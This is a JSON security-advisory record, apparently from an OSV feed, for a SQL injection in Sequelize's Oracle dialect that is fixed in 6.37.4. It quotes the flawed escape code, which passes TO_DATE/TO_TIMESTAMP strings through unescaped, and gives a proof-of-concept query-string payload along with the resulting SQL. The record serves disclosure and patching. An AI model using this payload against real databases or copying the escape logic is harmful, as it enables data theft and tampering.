{"id":"GHSA-v8fg-2rw7-q452","revision":"8da530dec68742c5a947c98eaedad429","records":[{"revision":"8da530dec68742c5a947c98eaedad429","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-v8fg-2rw7-q452","aliases":["CVE-2026-69240"],"title":"Sequelize: SQL Injection (Oracle DB)","description":"### Summary\nSQL Injection is possible with strings only **if dialect is set to `oracle`**.\nThe vulnerability was confirmed on Sequelize v6.37.3.\n\n### Details\nThe `escape` function defined in `sql-string.js` does not escape quotes if the value starts with `TO_TIMESTAMP` or `TO_DATE`.\n\n```javascript\n  } else if (dialect === 'oracle' && typeof val === 'string') {\n    if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {\n      return val;\n    }\n    val = val.replace(/'/g, \"''\");\n  }\n```\n\n### PoC\nSuppose the application has the following code:\n\n```javascript\n  var result = await models.Student.findOne({\n    where: {\n      firstName: req.query.firstName\n    }\n  });\n```\n\nAn attacker can inject arbitrary sql expressions.\n\n`http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--`\n\nThe resulted SQL will be:\n\n```SQL\nSELECT ... WHERE \"Student\".\"firstName\" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY \"Student\".\"id\" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;\n```\n\n### Impact\nData theft and tampering.","state":0,"publishedAt":"2026-08-03T20:29:50+00:00","modifiedAt":"2026-08-03T20:56:43.986253+00:00","affected":[{"ecosystem":"npm","name":"sequelize","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"6.37.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/sequelize/sequelize/security/advisories/GHSA-v8fg-2rw7-q452","https://github.com/sequelize/sequelize/commit/5deadd2410ae9136a21fb652db206d27bb715f26","https://github.com/sequelize/sequelize","https://github.com/sequelize/sequelize/releases/tag/v6.37.4"],"sourceUrl":"https://github.com/advisories/GHSA-v8fg-2rw7-q452","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-v8fg-2rw7-q452","identifiers":["GHSA-v8fg-2rw7-q452","CVE-2026-69240"]},"retained":false,"historicalAffected":[]}],"coverage":[]}